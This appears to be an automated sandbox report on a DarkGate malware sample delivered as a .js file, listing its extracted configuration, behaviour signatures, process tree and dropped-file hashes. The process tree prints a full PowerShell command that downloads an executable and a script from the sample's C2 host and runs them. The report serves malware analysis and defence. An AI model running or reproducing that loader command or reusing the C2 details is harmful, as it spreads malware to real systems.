Analysis

  • max time kernel
    140s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2023, 16:20

General

  • Target
    060e45bf7b57d4.js
  • Size 251KB
  • Sample231107-ts3jbsbf3x
  • SHA256 6df349abef5559549975a85a1d4821e453d988fed82c65c26962c7675e678202
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • user_871236672

C2
  • http://8sjimonstersboonkonline.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    false

  • check_ram

    true

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    gBVVzQVruhpqkv

  • internal_mutex

    txtMut

  • minimum_disk

    43

  • minimum_ram

    7000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    user_871236672

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:116
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" hujidbbn.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4808

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_cvtskvav.khm.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cvtskvav.khm.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        AutoIt3.exe

        • Path C:\tepp\AutoIt3.exe
        • Size 872KB
        • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
        • MD5 SHA1 SHA512 SSDEEP

        AutoIt3.exe

        • Path C:\tepp\AutoIt3.exe
        • Size 872KB
        • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
        • MD5 SHA1 SHA512 SSDEEP

        hujidbbn.au3

        • Path C:\tepp\hujidbbn.au3
        • Size 489KB
        • SHA256 8cf3bf5fc4274ea0d15a2b0c3999a21e1303ef83c42145a9a6e3e6b5114f0cce
        • MD5 SHA1 SHA512 SSDEEP

        memory/116-12-0x0000022E57A60000-0x0000022E57A70000-memory.dmp

        memory/116-13-0x0000022E57A60000-0x0000022E57A70000-memory.dmp

        memory/116-11-0x0000022E57A60000-0x0000022E57A70000-memory.dmp

        memory/116-10-0x00007FFF23700000-0x00007FFF241C1000-memory.dmp

        memory/116-27-0x00007FFF23700000-0x00007FFF241C1000-memory.dmp

        memory/116-0-0x0000022E57CB0000-0x0000022E57CD2000-memory.dmp

        memory/4808-30-0x0000000001370000-0x0000000001770000-memory.dmp

        memory/4808-31-0x00000000040B0000-0x0000000004245000-memory.dmp

        memory/4808-32-0x00000000040B0000-0x0000000004245000-memory.dmp